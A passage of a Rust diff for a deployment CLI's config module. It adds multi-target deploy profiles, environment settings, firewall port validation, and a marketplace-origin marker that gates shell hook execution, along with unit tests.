+                "Unknown deploy target profile '{}'. Available targets: {}",
+                requested_name,
+                self.targets.keys().cloned().collect::<Vec<_>>().join(", ")
+            )));
+        }
+
+        if let Some(default_target) = self
+            .default_target
+            .as_deref()
+            .map(str::trim)
+            .filter(|value| !value.is_empty())
+        {
+            if self.targets.contains_key(default_target) {
+                return Ok(default_target.to_string());
+            }
+
+            return Err(CliError::ConfigValidation(format!(
+                "deploy.default_target '{}' does not match any entry in deploy.targets",
+                default_target
+            )));
+        }
+
+        if self.targets.len() == 1 {
+            return Ok(self
+                .targets
+                .keys()
+                .next()
+                .expect("single target must have a name")
+                .clone());
+        }
+
+        Err(CliError::ConfigValidation(
+            "deploy.default_target is required when deploy.targets defines multiple entries"
+                .to_string(),
+        ))
+    }
+
+    pub fn resolve(&self, requested: Option<&str>) -> Result<DeployConfig, CliError> {
+        if !self.uses_named_targets() {
+            let mut resolved = self.clone();
+            if let Some(target_name) = requested.map(str::trim).filter(|value| !value.is_empty()) {
+                resolved.target = Self::parse_legacy_target_override(target_name)?;
+            }
+            return Ok(resolved);
+        }
+
+        let profile_name = self.resolve_named_target_name(requested)?;
+        let profile = self.targets.get(&profile_name).expect("target exists");
+        let inferred_target = profile.inferred_target(&profile_name)?;
+
+        Ok(DeployConfig {
+            target: inferred_target,
+            environment: profile
+                .environment
+                .clone()
+                .or_else(|| self.environment.clone()),
+            compose_file: profile.compose_file.clone(),
+            deployment_hash: profile.deployment_hash.clone(),
+            cloud: profile.cloud.clone(),
+            server: profile.server.clone(),
+            registry: profile.registry.clone(),
+            default_target: self.default_target.clone(),
+            targets: self.targets.clone(),
+        })
+    }
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, Default)]
+pub struct EnvironmentConfig {
+    #[serde(default)]
+    pub compose_file: Option<PathBuf>,
+
+    #[serde(default)]
+    pub env_file: Option<PathBuf>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, Default)]
+pub struct InstallConfig {
+    #[serde(default)]
+    pub inputs: serde_json::Map<String, serde_json::Value>,
 }
 
 /// Cloud provider settings for cloud deployments.
@@ -416,6 +610,12 @@ pub struct CloudConfig {
     /// When set, the CLI passes the server_id to the deploy form so it is reused.
     #[serde(default)]
     pub server: Option<String>,
+
+    /// Public ports to open in the cloud provider firewall after deployment.
+    /// Each entry is a port number or "port/protocol" string (e.g. "8000" or "8000/tcp").
+    /// These are sent to the Install Service to configure provider-level firewall rules.
+    #[serde(default)]
+    pub public_ports: Vec<String>,
 }
 
 /// Remote server settings for server deployments.
@@ -535,10 +735,58 @@ pub struct ProjectConfig {
     pub identity: Option<String>,
 }
 
+#[derive(Debug, Clone, Serialize, Deserialize, Default)]
+pub struct ConfigContract {
+    #[serde(default)]
+    pub services: BTreeMap<String, TargetConfigContract>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, Default)]
+pub struct TargetConfigContract {
+    #[serde(default, skip_serializing_if = "Vec::is_empty")]
+    pub required: Vec<String>,
+
+    #[serde(default, skip_serializing_if = "Vec::is_empty")]
+    pub optional: Vec<String>,
+
+    #[serde(default, skip_serializing_if = "Vec::is_empty")]
+    pub secret: Vec<String>,
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // StackerConfig — the root configuration type
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
+/// Marker comment written to the top of any stacker.yml that was generated
+/// or rendered by the marketplace (rather than authored by the user). Its
+/// presence flips `StackerConfig::origin` to `MarketplaceGenerated`, which
+/// gates hook execution — see `HookPolicy` and `run_hook`.
+///
+/// The user can safely delete this comment after reviewing the file; once
+/// gone, the file is treated as user-authored (trusted) again.
+pub const MARKETPLACE_ORIGIN_MARKER: &str = "# @stacker-origin: marketplace";
+
+/// Provenance of a `StackerConfig`. Used by hook execution to decide whether
+/// to require the `--allow-untrusted-hooks` flag before running any shell
+/// hook (`pre_build`, `post_deploy`, `on_failure`).
+///
+/// `UserAuthored` is the default because programmatic construction and
+/// hand-written stacker.yml files represent code the user reviewed.
+/// `MarketplaceGenerated` is set explicitly by `from_file`/`from_str` when
+/// the file contains [`MARKETPLACE_ORIGIN_MARKER`], and by the marketplace
+/// install command when it writes a fresh file.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum ConfigOrigin {
+    UserAuthored,
+    MarketplaceGenerated,
+}
+
+impl Default for ConfigOrigin {
+    fn default() -> Self {
+        Self::UserAuthored
+    }
+}
+
 #[derive(Debug, Clone, Serialize, Deserialize, Default, Validate)]
 pub struct StackerConfig {
     #[validate(min_length = 1)]
@@ -566,6 +814,12 @@ pub struct StackerConfig {
     #[serde(default)]
     pub deploy: DeployConfig,
 
+    #[serde(default)]
+    pub install: InstallConfig,
+
+    #[serde(default)]
+    pub environments: BTreeMap<String, EnvironmentConfig>,
+
     #[serde(default)]
     pub ai: AiConfig,
 
@@ -580,9 +834,38 @@ pub struct StackerConfig {
 
     #[serde(default)]
     pub env: HashMap<String, String>,
+
+    #[serde(default)]
+    pub config_contract: ConfigContract,
+
+    /// Provenance of this config. Not serialized — computed at load time.
+    ///
+    /// Defaults to `UserAuthored`. `from_file`/`from_str` flip to
+    /// `MarketplaceGenerated` if the raw text starts with
+    /// [`MARKETPLACE_ORIGIN_MARKER`].
+    #[serde(skip)]
+    pub origin: ConfigOrigin,
+
+    /// Whether the source config explicitly declared an `app:` section.
+    ///
+    /// `app` is a non-optional field with serde defaults, so a config that
+    /// omits `app:` still deserializes to a default `AppSource`. This flag
+    /// distinguishes "user/template actually declared an app to build" from
+    /// "app was defaulted in". Set at load time by `from_file`/`from_str`
+    /// (raw key present) and by `ConfigBuilder` (app setters used). The compose
+    /// generator uses it to avoid synthesizing a phantom `app` service for
+    /// services-only configs. Not serialized.
+    #[serde(skip)]
+    pub app_present: bool,
 }
 
 impl StackerConfig {
+    /// Whether hooks in this config may be executed without an explicit
+    /// `--allow-untrusted-hooks` flag.
+    pub fn is_trusted(&self) -> bool {
+        matches!(self.origin, ConfigOrigin::UserAuthored)
+    }
+
     /// Load config from a file path, resolving `${VAR}` environment variable
     /// references and validating the result.
     ///
@@ -598,10 +881,14 @@ impl StackerConfig {
         }
 
         let raw_content = std::fs::read_to_string(path)?;
+        let origin = detect_origin_from_raw(&raw_content);
         let mut parsed: serde_yaml::Value = serde_yaml::from_str(&raw_content)?;
         let env_file_vars = load_env_file_vars_from_yaml(path, &raw_content);
         resolve_env_placeholders_in_value(&mut parsed, &env_file_vars)?;
-        let config: StackerConfig = serde_yaml::from_value(parsed)?;
+        let app_present = parsed.get("app").is_some();
+        let mut config = deserialize_config_value(parsed)?;
+        config.origin = origin;
+        config.app_present = app_present;
         Ok(config)
     }
 
@@ -619,65 +906,155 @@ impl StackerConfig {
         }
 
         let raw_content = std::fs::read_to_string(path)?;
-        let config: StackerConfig = serde_yaml::from_str(&raw_content)?;
+        let origin = detect_origin_from_raw(&raw_content);
+        let parsed: serde_yaml::Value = serde_yaml::from_str(&raw_content)?;
+        let app_present = parsed.get("app").is_some();
+        let mut config = deserialize_config_value(parsed)?;
+        config.origin = origin;
+        config.app_present = app_present;
         Ok(config)
     }
 
     /// Load config from a YAML string (useful for tests).
     pub fn from_str(yaml: &str) -> Result<Self, CliError> {
+        let origin = detect_origin_from_raw(yaml);
         let mut parsed: serde_yaml::Value = serde_yaml::from_str(yaml)?;
         resolve_env_placeholders_in_value(&mut parsed, &HashMap::new())?;
-        let config: StackerConfig = serde_yaml::from_value(parsed)?;
+        let app_present = parsed.get("app").is_some();
+        let mut config = deserialize_config_value(parsed)?;
+        config.origin = origin;
+        config.app_present = app_present;
+        Ok(config)
+    }
+
+    /// Return a cloned config with `deploy` flattened to one selected target.
+    ///
+    /// Legacy configs keep working as before. Multi-target configs resolve one
+    /// named profile into the existing single-target fields.
+    pub fn with_resolved_deploy_target(&self, requested: Option<&str>) -> Result<Self, CliError> {
+        let mut config = self.clone();
+        config.deploy = self.deploy.resolve(requested)?;
         Ok(config)
     }
 
+    pub fn selected_environment(&self, override_environment: Option<&str>) -> Option<String> {
+        override_environment
+            .map(str::trim)
+            .filter(|value| !value.is_empty())
+            .map(ToOwned::to_owned)
+            .or_else(|| self.deploy.environment.clone())
+    }
+
+    pub fn resolve_environment_config(
+        &self,
+        override_environment: Option<&str>,
+    ) -> Result<Option<(String, EnvironmentConfig)>, CliError> {
+        let Some(environment) = self.selected_environment(override_environment) else {
+            return Ok(None);
+        };
+
+        let configured = self.environments.get(&environment).cloned();
+        let compose_file = configured
+            .as_ref()
+            .and_then(|config| config.compose_file.clone())
+            .or_else(|| self.deploy.compose_file.clone())
+            .or_else(|| Some(PathBuf::from(format!("docker/{environment}/compose.yml"))));
+        let env_file = configured
+            .as_ref()
+            .and_then(|config| config.env_file.clone())
+            .or_else(|| self.env_file.clone());
+
+        Ok(Some((
+            environment,
+            EnvironmentConfig {
+                compose_file,
+                env_file,
+            },
+        )))
+    }
+
     /// Validate cross-field semantic constraints beyond serde deserialization.
     /// Returns a list of issues (errors, warnings, info).
     pub fn validate_semantics(&self) -> Vec<ValidationIssue> {
         let mut issues = Vec::new();
 
-        // Cloud target requires a provider
-        if self.deploy.target == DeployTarget::Cloud && self.deploy.cloud.is_none() {
-            issues.push(ValidationIssue {
-                severity: Severity::Error,
-                code: "E001".to_string(),
-                message: "Cloud provider configuration is required for cloud deployment".to_string(),
-                field: Some("deploy.cloud.provider".to_string()),
-            });
-        }
-
-        // Server target requires a host
-        if self.deploy.target == DeployTarget::Server {
-            if self.deploy.server.is_none() {
+        if self.deploy.uses_named_targets() {
+            if self.deploy.targets.len() > 1
+                && self
+                    .deploy
+                    .default_target
+                    .as_deref()
+                    .map(str::trim)
+                    .filter(|value| !value.is_empty())
+                    .is_none()
+            {
                 issues.push(ValidationIssue {
                     severity: Severity::Error,
-                    code: "E002".to_string(),
-                    message: "Server host is required for server deployment".to_string(),
-                    field: Some("deploy.server.host".to_string()),
+                    code: "E004".to_string(),
+                    message: "deploy.default_target is required when deploy.targets defines multiple entries".to_string(),
+                    field: Some("deploy.default_target".to_string()),
                 });
             }
-        }
 
-        if self.deploy.target == DeployTarget::Cloud {
-            if let Some(cloud) = &self.deploy.cloud {
-                if cloud.orchestrator == CloudOrchestrator::Remote {
-                    let identity_empty = self
-                        .project
-                        .identity
-                        .as_ref()
-                        .map(|v| v.trim().is_empty())
-                        .unwrap_or(true);
-
-                    if identity_empty {
-                        issues.push(ValidationIssue {
-                            severity: Severity::Info,
-                            code: "I001".to_string(),
-                            message: "project.identity is not set; remote deploy will use default stack_code 'custom-stack'".to_string(),
-                            field: Some("project.identity".to_string()),
-                        });
+            if let Some(default_target) = self
+                .deploy
+                .default_target
+                .as_deref()
+                .map(str::trim)
+                .filter(|value| !value.is_empty())
+            {
+                if !self.deploy.targets.contains_key(default_target) {
+                    issues.push(ValidationIssue {
+                        severity: Severity::Error,
+                        code: "E005".to_string(),
+                        message: format!(
+                            "deploy.default_target '{}' does not match any entry in deploy.targets",
+                            default_target
+                        ),
+                        field: Some("deploy.default_target".to_string()),
+                    });
+                }
+            }
+
+            for (name, profile) in &self.deploy.targets {
+                let field_prefix = format!("deploy.targets.{name}");
+                match profile.inferred_target(name) {
+                    Ok(target) => {
+                        let deploy = DeployConfig {
+                            target,
+                            environment: profile.environment.clone(),
+                            compose_file: profile.compose_file.clone(),
+                            deployment_hash: profile.deployment_hash.clone(),
+                            cloud: profile.cloud.clone(),
+                            server: profile.server.clone(),
+                            registry: profile.registry.clone(),
+                            default_target: None,
+                            targets: BTreeMap::new(),
+                        };
+                        validate_deploy_semantics(
+                            &mut issues,
+                            &self.project,
+                            &deploy,
+                            Some(field_prefix),
+                        );
                     }
+                    Err(_) => issues.push(ValidationIssue {
+                        severity: Severity::Error,
+                        code: "E006".to_string(),
+                        message: format!(
+                            "deploy.targets.{name} cannot define both 'server' and 'cloud'"
+                        ),
+                        field: Some(field_prefix),
+                    }),
                 }
             }
+        } else {
+            validate_deploy_semantics(
+                &mut issues,
+                &self.project,
+                &self.deploy,
+                Some("deploy".into()),
+            );
         }
 
         // Custom app type with no image and no dockerfile
@@ -723,6 +1100,152 @@ impl StackerConfig {
     }
 }
 
+/// Inspect the raw text of a stacker.yml (or a `from_str` input) and decide
+/// whether it was authored by the user or generated by the marketplace.
+///
+/// A file counts as marketplace-generated if any of the leading comment
+/// lines contains [`MARKETPLACE_ORIGIN_MARKER`]. Blank lines are skipped so
+/// the marker can appear after a shebang-style banner. Once the scan hits
+/// a non-comment non-blank line, further lines are ignored — the marker
+/// must live at the top of the file.
+fn detect_origin_from_raw(raw: &str) -> ConfigOrigin {
+    for line in raw.lines() {
+        let trimmed = line.trim();
+        if trimmed.is_empty() {
+            continue;
+        }
+        if let Some(rest) = trimmed.strip_prefix('#') {
+            if rest
+                .trim()
+                .eq_ignore_ascii_case(MARKETPLACE_ORIGIN_MARKER.trim_start_matches('#').trim())
+            {
+                return ConfigOrigin::MarketplaceGenerated;
+            }
+            continue;
+        }
+        break;
+    }
+    ConfigOrigin::UserAuthored
+}
+
+fn deserialize_config_value(parsed: serde_yaml::Value) -> Result<StackerConfig, CliError> {
+    let rendered = serde_yaml::to_string(&parsed)?;
+    let deserializer = serde_yaml::Deserializer::from_str(&rendered);
+
+    serde_path_to_error::deserialize::<_, StackerConfig>(deserializer).map_err(|err| {
+        let field_path = err.path().to_string();
+        let source = err.into_inner();
+        let message = format_config_parse_message(&field_path, &source);
+        CliError::ConfigParseFailed {
+            source: <serde_yaml::Error as serde::de::Error>::custom(message),
+        }
+    })
+}
+
+fn format_config_parse_message(field_path: &str, source: &serde_yaml::Error) -> String {
+    let source_message = source.to_string();
+    let normalized_field = if field_path.is_empty() || field_path == "." {
+        None
+    } else {
+        Some(field_path)
+    };
+
+    if let Some(field) = normalized_field {
+        if source_message.contains("expected path string") {
+            let example = if field == "app.path" {
+                "`.` or `./app`"
+            } else {
+                "`./path/to/file`"
+            };
+
+            if source_message.contains("invalid type: unit value") {
+                return format!(
+                    "invalid empty path at `{field}`. Remove the key or set it to a quoted path string like {example}"
+                );
+            }
+
+            return format!(
+                "invalid path at `{field}`. Expected a quoted path string like {example}. Original parser error: {source_message}"
+            );
+        }
+
+        return format!("invalid value at `{field}`: {source_message}");
+    }
+
+    source_message
+}
+
+fn validate_deploy_semantics(
+    issues: &mut Vec<ValidationIssue>,
+    project: &ProjectConfig,
+    deploy: &DeployConfig,
+    field_prefix: Option<String>,
+) {
+    let field = |suffix: &str| -> String {
+        match &field_prefix {
+            Some(prefix) => format!("{prefix}.{suffix}"),
+            None => suffix.to_string(),
+        }
+    };
+
+    if deploy.target == DeployTarget::Cloud && deploy.cloud.is_none() {
+        issues.push(ValidationIssue {
+            severity: Severity::Error,
+            code: "E001".to_string(),
+            message: "Cloud provider configuration is required for cloud deployment".to_string(),
+            field: Some(field("cloud.provider")),
+        });
+    }
+
+    if deploy.target == DeployTarget::Server && deploy.server.is_none() {
+        issues.push(ValidationIssue {
+            severity: Severity::Error,
+            code: "E002".to_string(),
+            message: "Server host is required for server deployment".to_string(),
+            field: Some(field("server.host")),
+        });
+    }
+
+    if deploy.target == DeployTarget::Cloud {
+        if let Some(cloud) = &deploy.cloud {
+            if cloud.orchestrator == CloudOrchestrator::Remote {
+                let identity_empty = project
+                    .identity
+                    .as_ref()
+                    .map(|v| v.trim().is_empty())
+                    .unwrap_or(true);
+
+                if identity_empty {
+                    issues.push(ValidationIssue {
+                        severity: Severity::Info,
+                        code: "I001".to_string(),
+                        message: "project.identity is not set; remote deploy will use default stack_code 'custom-stack'".to_string(),
+                        field: Some("project.identity".to_string()),
+                    });
+                }
+            }
+
+            // Validate public_ports format up front so invalid entries are
+            // surfaced by `stacker config validate` instead of being silently
+            // dropped during cloud firewall provisioning. Bare numbers and
+            // "port/proto" specs are both accepted.
+            for port in &cloud.public_ports {
+                if let Err(err) = crate::forms::firewall::normalize_public_port(port) {
+                    issues.push(ValidationIssue {
+                        severity: Severity::Error,
+                        code: "E005".to_string(),
+                        message: format!(
+                            "Invalid public_ports entry '{}': {}. Expected a port number or \"port/protocol\" (e.g. \"8000\" or \"8000/tcp\").",
+                            port, err
+                        ),
+                        field: Some(field("cloud.public_ports")),
+                    });
+                }
+            }
+        }
+    }
+}
+
 fn load_env_file_vars_from_yaml(path: &Path, raw_content: &str) -> HashMap<String, String> {
     let parsed: serde_yaml::Value = match serde_yaml::from_str(raw_content) {
         Ok(v) => v,
@@ -783,11 +1306,7 @@ fn load_env_file_vars_from_yaml(path: &Path, raw_content: &str) -> HashMap<Strin
 
 /// Extract the host port from a port mapping string like "8080:80" → "8080".
 fn extract_host_port(port_str: &str) -> String {
-    port_str
-        .split(':')
-        .next()
-        .unwrap_or(port_str)
-        .to_string()
+    port_str.split(':').next().unwrap_or(port_str).to_string()
 }
 
 /// Resolve `${VAR_NAME}` references in a string using process environment.
@@ -839,15 +1358,15 @@ fn resolve_env_vars_with_fallback(
         .collect();
 
     for (full_match, var_name) in captures {
-        let value = match std::env::var(&var_name) {
-            Ok(v) => v,
-            Err(_) => fallback_vars
-                .get(&var_name)
-                .cloned()
-                .ok_or_else(|| CliError::EnvVarNotFound {
-                    var_name: var_name.clone(),
+        let value =
+            match std::env::var(&var_name) {
+                Ok(v) => v,
+                Err(_) => fallback_vars.get(&var_name).cloned().ok_or_else(|| {
+                    CliError::EnvVarNotFound {
+                        var_name: var_name.clone(),
+                    }
                 })?,
-        };
+            };
         result = result.replace(&full_match, &value);
     }
 
@@ -868,6 +1387,7 @@ pub struct ConfigBuilder {
     app_path: Option<PathBuf>,
     app_image: Option<String>,
     app_dockerfile: Option<PathBuf>,
+    app_volumes: Vec<String>,
     build_args: HashMap<String, String>,
     services: Vec<ServiceDefinition>,
     proxy: Option<ProxyConfig>,
@@ -927,6 +1447,11 @@ impl ConfigBuilder {
         self
     }
 
+    pub fn app_volumes(mut self, volumes: Vec<String>) -> Self {
+        self.app_volumes = volumes;
+        self
+    }
+
     pub fn build_arg<K: Into<String>, V: Into<String>>(mut self, key: K, value: V) -> Self {
         self.build_args.insert(key.into(), value.into());
         self
@@ -993,6 +1518,14 @@ impl ConfigBuilder {
             .name
             .ok_or_else(|| CliError::ConfigValidation("name is required".into()))?;
 
+        // Any app-related builder setter marks the app as explicitly declared,
+        // so the compose generator materializes it even alongside services.
+        let app_present = self.app_type.is_some()
+            || self.app_image.is_some()
+            || self.app_dockerfile.is_some()
+            || !self.app_volumes.is_empty()
+            || !self.build_args.is_empty();
+
         let build_config = if self.build_args.is_empty() {
             None
         } else {
@@ -1016,23 +1549,34 @@ impl ConfigBuilder {
                 image: self.app_image,
                 build: build_config,
                 ports: Vec::new(),
-                volumes: Vec::new(),
+                volumes: self.app_volumes,
                 environment: HashMap::new(),
+                command: None,
+                healthcheck: None,
             },
             services: self.services,
             proxy: self.proxy.unwrap_or_default(),
             deploy: DeployConfig {
                 target: self.deploy_target.unwrap_or_default(),
+                environment: None,
                 compose_file: None,
+                deployment_hash: None,
                 cloud: self.cloud,
                 server: self.server,
                 registry: self.registry,
+                default_target: None,
+                targets: BTreeMap::new(),
             },
+            install: InstallConfig::default(),
+            environments: BTreeMap::new(),
             ai: self.ai.unwrap_or_default(),
             monitoring: self.monitoring.unwrap_or_default(),
             hooks: self.hooks.unwrap_or_default(),
             env_file: self.env_file,
             env: self.env,
+            config_contract: ConfigContract::default(),
+            origin: ConfigOrigin::UserAuthored,
+            app_present,
         })
     }
 }
@@ -1067,6 +1611,30 @@ app:
         assert!(!config.monitoring.status_panel);
     }
 
+    #[test]
+    fn test_parse_install_inputs() {
+        let yaml = r#"
+name: wordpress-site
+install:
+  inputs:
+    commonDomain: example.com
+    admin_email: admin@example.com
+deploy:
+  target: cloud
+"#;
+
+        let config = StackerConfig::from_str(yaml).unwrap();
+
+        assert_eq!(
+            config.install.inputs.get("commonDomain"),
+            Some(&serde_json::json!("example.com"))
+        );
+        assert_eq!(
+            config.install.inputs.get("admin_email"),
+            Some(&serde_json::json!("admin@example.com"))
+        );
+    }
+
     #[test]
     fn test_parse_full_config() {
         let yaml = r#"
@@ -1130,6 +1698,131 @@ env:
         assert_eq!(config.env.get("APP_PORT").unwrap(), "3000");
     }
 
+    #[test]
+    fn test_parse_multi_target_config_and_resolve_default() {
+        let yaml = r#"
+name: multi-target-app
+app:
+  type: static
+deploy:
+  default_target: dev-server
+  targets:
+    local:
+      compose_file: docker/local/compose.yml
+    dev-server:
+      server:
+        host: 10.0.0.8
+        user: deploy
+        ssh_key: ~/.ssh/id_ed25519
+"#;
+
+        let config = StackerConfig::from_str(yaml).unwrap();
+        assert!(config.deploy.uses_named_targets());
+        assert_eq!(config.deploy.targets.len(), 2);
+
+        let resolved = config.with_resolved_deploy_target(None).unwrap();
+        assert_eq!(resolved.deploy.target, DeployTarget::Server);
+        assert!(resolved.deploy.environment.is_none());
+        assert_eq!(
+            resolved
+                .deploy
+                .server
+                .as_ref()
+                .map(|server| server.host.as_str()),
+            Some("10.0.0.8")
+        );
+    }
+
+    #[test]
+    fn test_resolve_named_target_override() {
+        let yaml = r#"
+name: multi-target-app
+app:
+  type: static
+deploy:
+  default_target: local
+  targets:
+    local:
+      compose_file: docker/local/compose.yml
+    prod:
+      cloud:
+        provider: aws
+"#;
+
+        let config = StackerConfig::from_str(yaml).unwrap();
+        let resolved = config.with_resolved_deploy_target(Some("prod")).unwrap();
+
+        assert_eq!(resolved.deploy.target, DeployTarget::Cloud);
+        assert_eq!(
+            resolved.deploy.cloud.as_ref().map(|cloud| cloud.provider),
+            Some(CloudProvider::Aws)
+        );
+        assert!(resolved.deploy.compose_file.is_none());
+    }
+
+    #[test]
+    fn test_parse_environment_config_and_default_selection() {
+        let yaml = r#"
+name: environment-app
+app:
+  type: static
+deploy:
+  target: cloud
+  environment: production
+environments:
+  production:
+    compose_file: docker/production/compose.yml
+    env_file: docker/production/.env
+"#;
+
+        let config = StackerConfig::from_str(yaml).unwrap();
+        assert_eq!(config.deploy.environment.as_deref(), Some("production"));
+        assert_eq!(
+            config
+                .environments
+                .get("production")
+                .and_then(|environment| environment.compose_file.as_ref()),
+            Some(&PathBuf::from("docker/production/compose.yml"))
+        );
+
+        let (environment, environment_config) = config
+            .resolve_environment_config(None)
+            .unwrap()
+            .expect("environment should resolve");
+        assert_eq!(environment, "production");
+        assert_eq!(
+            environment_config.compose_file,
+            Some(PathBuf::from("docker/production/compose.yml"))
+        );
+        assert_eq!(
+            environment_config.env_file,
+            Some(PathBuf::from("docker/production/.env"))
+        );
+    }
+
+    #[test]
+    fn test_environment_override_uses_conventional_compose_path() {
+        let yaml = r#"
+name: environment-app
+app:
+  type: static
+deploy:
+  target: cloud
+"#;
+
+        let config = StackerConfig::from_str(yaml).unwrap();
+        let (environment, environment_config) = config
+            .resolve_environment_config(Some("staging"))
+            .unwrap()
+            .expect("environment should resolve");
+
+        assert_eq!(environment, "staging");
+        assert_eq!(
+            environment_config.compose_file,
+            Some(PathBuf::from("docker/staging/compose.yml"))
+        );
+    }
+
     #[test]
     fn test_monitors_alias_for_monitoring() {
         let yaml = r#"
@@ -1196,12 +1889,12 @@ app:
         assert_eq!(config.app.app_type, AppType::Static);
     }
 
-        #[test]
-        fn test_from_file_resolves_env_from_env_file() {
-                let dir = TempDir::new().unwrap();
-                fs::write(dir.path().join(".env"), "DOCKER_IMAGE=node:14-alpine\n").unwrap();
+    #[test]
+    fn test_from_file_resolves_env_from_env_file() {
+        let dir = TempDir::new().unwrap();
+        fs::write(dir.path().join(".env"), "DOCKER_IMAGE=node:14-alpine\n").unwrap();
 
-                let yaml = r#"
+        let yaml = r#"
 name: env-file-test
 env_file: .env
 app:
@@ -1211,12 +1904,12 @@ app:
 deploy:
     target: local
 "#;
-                let config_path = dir.path().join("stacker.yml");
-                fs::write(&config_path, yaml).unwrap();
+        let config_path = dir.path().join("stacker.yml");
+        fs::write(&config_path, yaml).unwrap();
 
-                let config = StackerConfig::from_file(&config_path).unwrap();
-                assert_eq!(config.app.image.as_deref(), Some("node:14-alpine"));
-        }
+        let config = StackerConfig::from_file(&config_path).unwrap();
+        assert_eq!(config.app.image.as_deref(), Some("node:14-alpine"));
+    }
 
     #[test]
     fn test_parse_invalid_app_type_returns_error() {
@@ -1263,9 +1956,9 @@ services:
         assert_eq!(config.services[2].ports.len(), 2);
     }
 
-        #[test]
-        fn test_parse_services_map() {
-                let yaml = r#"
+    #[test]
+    fn test_parse_services_map() {
+        let yaml = r#"
 name: svc-map-test
 services:
     web:
@@ -1277,15 +1970,21 @@ services:
         image: redis:7-alpine
 "#;
 
-                let config = StackerConfig::from_str(yaml).unwrap();
-                assert_eq!(config.services.len(), 2);
-                assert!(config.services.iter().any(|s| s.name == "web" && s.image == "nginx:alpine"));
-                assert!(config.services.iter().any(|s| s.name == "redis" && s.image == "redis:7-alpine"));
-        }
+        let config = StackerConfig::from_str(yaml).unwrap();
+        assert_eq!(config.services.len(), 2);
+        assert!(config
+            .services
+            .iter()
+            .any(|s| s.name == "web" && s.image == "nginx:alpine"));
+        assert!(config
+            .services
+            .iter()
+            .any(|s| s.name == "redis" && s.image == "redis:7-alpine"));
+    }
 
-        #[test]
-        fn test_parse_services_map_infers_name_from_key() {
-                let yaml = r#"
+    #[test]
+    fn test_parse_services_map_infers_name_from_key() {
+        let yaml = r#"
 name: svc-map-key-test
 services:
     web:
@@ -1293,11 +1992,11 @@ services:
         ports: ["8080:80"]
 "#;
 
-                let config = StackerConfig::from_str(yaml).unwrap();
-                assert_eq!(config.services.len(), 1);
-                assert_eq!(config.services[0].name, "web");
-                assert_eq!(config.services[0].image, "nginx:alpine");
-        }
+        let config = StackerConfig::from_str(yaml).unwrap();
+        assert_eq!(config.services.len(), 1);
+        assert_eq!(config.services[0].name, "web");
+        assert_eq!(config.services[0].image, "nginx:alpine");
+    }
 
     #[test]
     fn test_parse_proxy_domains() {
@@ -1379,6 +2078,23 @@ ai:
         );
     }
 
+    #[test]
+    fn test_config_invalid_path_reports_field_name() {
+        let yaml = r#"
+name: bad-path
+app:
+  type: custom
+  path: {}
+"#;
+        let err = StackerConfig::from_str(yaml).unwrap_err();
+        let msg = err.to_string();
+        assert!(msg.contains("app.path"), "unexpected message: {msg}");
+        assert!(
+            msg.contains("quoted path string"),
+            "unexpected message: {msg}"
+        );
+    }
+
     #[test]
     fn test_validate_semantics_cloud_without_provider() {
         let config = ConfigBuilder::new()
@@ -1392,9 +2108,14 @@ ai:
             .iter()
             .filter(|i| i.severity == Severity::Error)
             .collect();
-        assert!(!errors.is_empty(), "Expected validation error for missing cloud provider");
         assert!(
-            errors.iter().any(|e| e.field.as_deref() == Some("deploy.cloud.provider")),
+            !errors.is_empty(),
+            "Expected validation error for missing cloud provider"
+        );
+        assert!(
+            errors
+                .iter()
+                .any(|e| e.field.as_deref() == Some("deploy.cloud.provider")),
             "Expected field reference to deploy.cloud.provider"
         );
     }
@@ -1412,7 +2133,10 @@ ai:
             .iter()
             .filter(|i| i.severity == Severity::Error)
             .collect();
-        assert!(!errors.is_empty(), "Expected validation error for missing server host");
+        assert!(
+            !errors.is_empty(),
+            "Expected validation error for missing server host"
+        );
         assert!(
             errors.iter().any(|e| e.message.contains("host")),
             "Expected 'host' mentioned in error"
@@ -1440,10 +2164,7 @@ services:
             .iter()
             .filter(|i| i.severity == Severity::Warning)
             .collect();
-        assert!(
-            !warnings.is_empty(),
-            "Expected warning about port conflict"
-        );
+        assert!(!warnings.is_empty(), "Expected warning about port conflict");
         assert!(
             warnings.iter().any(|w| w.message.contains("8080")),
             "Expected port 8080 in warning"
@@ -1485,6 +2206,55 @@ services:
         assert!(errors.is_empty(), "Expected no errors, got: {errors:?}");
     }
 
+    #[test]
+    fn test_validate_semantics_multi_target_requires_default_for_multiple_profiles() {
+        let config = StackerConfig::from_str(
+            r#"
+name: multi-target-app
+app:
+  type: static
+deploy:
+  targets:
+    local:
+      compose_file: docker/local/compose.yml
+    prod:
+      server:
+        host: 10.0.0.8
+        user: deploy
+        ssh_key: ~/.ssh/id_ed25519
+"#,
+        )
+        .unwrap();
+
+        let issues = config.validate_semantics();
+        assert!(issues.iter().any(|issue| issue.code == "E004"));
+    }
+
+    #[test]
+    fn test_validate_semantics_multi_target_rejects_ambiguous_profile() {
+        let config = StackerConfig::from_str(
+            r#"
+name: multi-target-app
+app:
+  type: static
+deploy:
+  default_target: hybrid
+  targets:
+    hybrid:
+      cloud:
+        provider: aws
+      server:
+        host: 10.0.0.8
+        user: deploy
+        ssh_key: ~/.ssh/id_ed25519
+"#,
+        )
+        .unwrap();
+
+        let issues = config.validate_semantics();
+        assert!(issues.iter().any(|issue| issue.code == "E006"));
+    }
+
     #[test]
     fn test_validate_semantics_remote_cloud_defaults_stack_code_without_project_identity() {
         let config = ConfigBuilder::new()
@@ -1494,12 +2264,13 @@ services:
                 provider: CloudProvider::Hetzner,
                 orchestrator: CloudOrchestrator::Remote,
                 region: Some("nbg1".to_string()),
-                size: Some("cpx11".to_string()),
+                size: Some("cx23".to_string()),
                 install_image: None,
                 remote_payload_file: None,
                 ssh_key: None,
                 key: None,
                 server: None,
+                public_ports: Vec::new(),
             })
             .build()
             .unwrap();
@@ -1513,7 +2284,10 @@ services:
             .iter()
             .filter(|i| i.severity == Severity::Info)
             .collect();
-        assert!(errors.is_empty(), "Expected no blocking errors, got: {errors:?}");
+        assert!(
+            errors.is_empty(),
+            "Expected no blocking errors, got: {errors:?}"
+        );
         assert!(
             infos
                 .iter()
@@ -1522,6 +2296,66 @@ services:
         );
     }
 
+    #[test]
